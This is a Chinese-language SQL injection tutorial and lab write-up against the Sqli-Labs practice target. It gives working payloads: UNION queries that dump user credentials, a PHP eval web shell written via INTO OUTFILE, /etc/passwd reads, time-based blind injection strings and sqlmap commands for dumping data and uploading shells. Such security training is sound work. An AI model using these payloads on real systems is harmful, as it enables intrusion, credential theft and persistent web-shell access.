目录
实验:Sqli-Lab Less1~4,GET基于报错的SQL注入。
4、利用union select 联合查询,获取字段值。0x3a是冒号
一、SQL基础知识
注入式攻击的根源
程序命令和用户数据(即用户输入)之间没有做到泾渭分明,接受用户输入相关参数未经处理直接带入数据库查询操作。这使得攻击者有机会将程序命令当作用户输入的数据提交给web程序,以发号施令,为所欲为。
注入成功的基础
1、相信用户输入的数据
2、Sql语句的拼接
经典OR漏洞原理解析
万能密码
Phpstudy中的www.wangnengmima.com
输入 ‘ or 1=1 -- 发现输入任何密码都可以登录成功
注入之前必须要做三件事情
1.确定web应用程序所使用的技术
注入攻击对应用程序旗标信息关系密切,这些可以通过适当的信息搜集方式获得
为了确定应用程序的一些旗标信息,比如编程语言及版本,数据库库管理系统的类型及版本,服务器中间件的类型及版本,操作系统的类型及版本等信息。攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus、AWVS、APPSCAN等工具来进行刺探。
2.确定所有可能的输入方式
Web应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单:另外,攻击者可以通过隐藏的HTML表单输入、HTTP头部、cookies、甚至对用户不可见的后端AJax请求来跟Web应用进行交互。一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web 应用所有可能的用户输入,我们可以求助于Web 代理,如Bp等。
3.查找可以用于注入的用户输入
在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个任务好像有点难,但是这里有一个小窍门,那就是多多留意web应用的错误页面.很多时候您能从这里得到意想不到的收获。
注入前的准备及注入漏洞检测
取消友好HTTP错误信息
在进行SQL注入攻击时,需要利用到从服务器返回的各种出错信息,但是在浏览器中默认设置是不显示详细错误返回信息的,不论服务器返回什么错误,都只能看到“HTTP 500服务器错误”的窗口。因此,每次进行 SQL注入攻击测试前,首先要取消IE浏览器返回信息设置,以便查看到注入攻击时返回的数据库信息
这有点low,可以直接f12或者bp抓包分析就可以了
手工检测SQL注入点
最常用的SQL注入点判断方法,是在网站中寻找如下形式的网页连接。
http:// www.*****. com/ ***.asp?id=x (ASP注入)
或者下面的链接
http:// www.*****. com/ ***.php?id=x (php注入).
http:// www.*****. com/ ***.jsp?id=x (jsp注入)
http:// www.*****. com/ ***.aspx?id=x (aspx注入)。
http:// www.*****. com/index.asp?id=8&page=99(注:注入的时候确认是id参数还是page 参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)。
http:// www.****.com/index/new/id/8伪静态。
http:// www.*****.com/index/new/php-8.html伪静态
其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。如何判断某个网页链接是否存在SQL注入漏洞呢?通常有两种检测方法。。
1.“单引号”法。
第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。
2.and 1=1和1=2法,
很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但这并不等于不存在SQL注入漏洞。此时可使用经典的“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。
3.通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型;
注入的分类
按照注入的网页功能类型分类:
- 登录注入
- cms注入
CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中article.php?id=文章id读取id文章。
按照注入点值的属性分类
- 数值型
- 字符串型
基于从服务器返回的内容
- 有回显
- 无回显
按照注入的程度和顺序
- 一阶注入
- 二阶注入
其他业务场景
Update注入
Insert注入
Delete注入
Like注入
Order by注入
宽字节注入
http分割注入
http参数污染
约束的注入
Xx型注入
Mysql的注入知识复习
在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。
在schemata表中,schema_name字段用来存储数据库名。
在tables表中,table_schema和table_name分别用来存储数据库名和表名。
在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
user();查看当前Mysql登录用户名
database():查看当前使用Mysql数据库名
version():查看当前Mysql版本
@@version
@@basedir
length() 字符串长度
substring()截取字符串
ord 返回ASCII码值
concat 连接字符串
sleep(4) 睡眠指定描述
group_concat() 查询结果放同一行
limit m,n 从m行开始,到m+n行。
mid()需要截取的字符串
注释:
#
--空格(%20)
/**/
内联注释:/*!SQL语句*只有Mysql可以识别,常用来绕过WAF
例如:select * from articles where id = id
使用内联注释注入:select *from articles where id =-1 /*!union*//*!select*/
1.# 和 -- (有个空格)表示注释,可以使它们后面的语句不被执行。在url中,如果是get请求 (记住是get请求,也就是我们在浏览器中输入的url) ,解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。
2.当然,也可以使用--%20,把空格转换为urlencode编码格式,也不会报错。同理把#变成%23,也不报错。
3.如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。
4.为什么--后面必须要有空格,而#后面就不需要?
因为使用--注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有,sql就是这么规定的,记住就行了。
因为不加空格,--直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。
Sql注入的分类
根据注入位置数据类型可将SQL注入分为两类:数字型和字符型。
数字型:select * from table where id =用户输入id
字符型:select * from table where id =用户输入id
Sql注入的类型之GET基于报错的SQL注入
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠/来探测URL中是否存在注入点。
实验:Sqli-Lab Less1~4,GET基于报错的SQL注入。
环境:在虚拟机centos7使用docker搭建靶场
准备一个干净的centos7,先下载docker,并且启动
yum install -y docker
systemctl status docker
搜索一下拉取的sqli-labs镜像
docker search sqli-labs
拉取第一个五星的
docker pull docker.io/acgpiano/sqli-labs
拉取成功可以使用docker images查看
启动容器 dt是后台运行,-name把这个容器的名字取为sqli-labs,-p端口映射,-rm是停止容器就执行移除操作,最后的是容器的名字
docker run -dt --name sqli-labs -p 8088:80 --rm docker.io/acgpiano/sqli-labs
使用docker ps -a,获取短id,进入容器
docker exec -it e5df06b416cc /bin/bash
靶场成功搭建,外部浏览器也可以访问,那我们就在外面的浏览器做
Less1 –基于字符串
输入?id=1’
报错信息是
' '1'' LIMIT 0,1 '
推断sql语句是
select login_name,password from admin where id =' id' ' limit 0,1
select login_name,password from admin where id =' ** ' limit 0,1
验证我们的猜想可以去容器中查看源码,发现和我们的猜想正确
注入?id=1' --+
less2 -基于数字
输入 ?id=1’
报错信息是
' ' LIMIT 0,1 '
推断sql语句是
select login_name,password from admin where id = ** limit 0,1
注入?id=1 --+
less3 基于括号
输入 ?id=1’
报错信息是
' '1'') LIMIT 0,1 '
推断sql语句是
select login_name,password from admin where id =('id') limit 0,1
验证
注入?id=1') --+
或者使用
192.168.175.139:8088/Less-3/?id=1 --%20
Less4 基于双引号报错
输入 ?id=1”或者id=1\
报错消息是:
' "14"") LIMIT 0,1 '
推断sql语句是
select login_name,password from admin where id =("id") limit 0,1
注入?id=1") --+
GET基于报错的SQL注入利用
1.利用order by判断字段数。
以第一关为例
2.利用union select联合查询,获取表名。
http://192.168.137.218:8088/Less-1/?id=0' union select 1,2,3 --+
查询出2,3字段
http://192.168.137.218:8088/Less-1/?id=0' union select 1,user(),database() --+
获得用户和数据建库名
还可以看version版本
具体开始探测
http://192.168.137.218:8088/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
3.利用union select联合查询,获取字段名。
http://192.168.137.218:8088/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
4、利用union select 联合查询,获取字段值。0x3a是冒号
?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+
5、利用select into outfile写一句话木马
注:写入条件比较苛刻
- mysql配置文件secure_file_priv为空
- 对网站目录具有写权限
show variables like '%secur%'
chmod -R 777 html
开始注入
192.168.175.139:8088/Less-1/?id=-1' union select 1,"<?php eval($_POST['aa']);?>",3 into outfile '/var/www/html/ma.php' --+
正常写入进入后网页没有回显
写完之后用菜刀工具连接下,不确定可以先回容器看是否写入成功
写入成功
此为菜刀图片
6、利用load_file 读敏感文件
192.168.175.139:8088/Less-1/?id=-1' union select 1,2,load_file('/etc/passwd') --+
利用sqlmap探测
实验环境:准备一台kali(kali自带sqlmap)
互相ping通
1、探测数据库名
sqlmap -u "http://192.168.137.218:8088/Less-1/?id=1" --dbs --batch
2、探测表名
sqlmap -u "http://192.168.137.218:8088/Less-1/?id=1" -D security --tables --batch
3、探测字段名
sqlmap -u "http://192.168.137.218:8088/Less-1/?id=1" -D security -T users --columns --batch
4、探测字段值
sqlmap -u "http://192.168.137.218:8088/Less-1/?id=1" -D security -T users -C username,password --dump --batch
5、读取敏感文件
sqlmap -u "http://192.168.137.221:8088/Less-1/?id=1" --file-read '/etc/passwd' --batch
6、上传一句话木马
先在kali根目录下创建ma.php
上传一句话木马
sqlmap -u "http://192.168.175.139:8088/Less-1/?id=1" --file-write '/ma.php' --file-dest '/var/www/html/ma1.php' --batch
可以去容器验证一下是否成功写入
菜刀连接一句话木马(需要修改)
设置浏览器bp代理
浏览器找到设置>搜索代理>设置代理(手动代理,填写kali的ip因为是kali的bp,端口号填写8080)
Sql注入的类型之不再显示错误的盲注
Blind SQL(盲注)是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果.这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。
演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息. Blind SQL (盲注)与常规注入很接近,不同的是数据库返回数据的检索方式.若数据库没有输出数据到web页面,攻击者会询问一些列的 true或 false问题,强制从数据库获取数据。
盲注可以分为基于布尔的盲注和基于时间的盲注
基于时间的盲注
原理及展示
延时注入,用的最多的注入
常用的判断语句:
' and if(1=0,1, sleep(10)) --+ #如果1=0这个表达式为真,那么执行1这个表达式,为假延时十秒
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
利用if(条件,0,1)函数,当条件为真,返回0,1
Sqli-lab 9-10实验 就是基于时间的盲注
http://192.168.175.139/Less-9/?id=1' and if(1=1,sleep(6),1) --+
在这里是’ and 1=1 为真,延时6秒,假则直接返回(注入点和注入语句基本确定可使用)
Less-9执行范例:
192.168.175.139:8088/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),1) --+
当数据库名第一个字母的ascii码等于115时,执行sleep(10)函数等待10秒。 否则没动作.
因为我们这是做练习,本身应该先求数据库名的长度。
tips因为大多数都是没有回显,正常的注入1' union select 1,2,3--+没有明显的回显,所以我们使用时间盲注,可以明显看出成效并且辨别说明有注入点
get基于时间的盲注应用
爆数据库
http://192.168.175.139:8088/Less-9/
?id=1' and if(ascii(substr(database(),1,1))>95,sleep(6),1)%23
利用二分法猜解数据库的每一个数据
二分法以此类推,116时直接返回页面。说明数据库第一个数据的ascii码为115,即为s,后面的数据同理,最后数据库名为‘security’
当然在爆数据库前最好先爆数据库长度
当然实际环境中,很多常用的函数是会被过滤的,需要绕过。
以第九关为例子爆数据库的长度
从数据库长度为1开始尝试
http://192.168.175.139:8088/Less-9/?id=1' and if(length(database())=1,sleep(5),1) --+
尝试到第八的时候,发现他耗时5秒,证明数据库的长度为8,一般数据库的字符三五十就差不多。
post基于时间的盲注
在存在注入点post提交的参数后加入类似 and if(length(database())>5,sleep(5),null) --+ 如果执行的页面响应时间大于5秒,那么看肯定就存在注入,并且对应的sql语句执行
范例Less-15
发现有注入点
上bp,用bp抓包,然后在repeater里修改
uname=admin' and if(length(database())>5,sleep(5),null) -- &passwd=admin123456&submit=Submit
如果数据据名称大于5,则等待5秒,可以看到,执行时间大于5秒,说明数据库名称大于5
我们用户名密码输入admin,然后去bp找post包,然后send to repeater,进行改包
然后我们发现数据包的返回时间肉眼可见的变长了,成功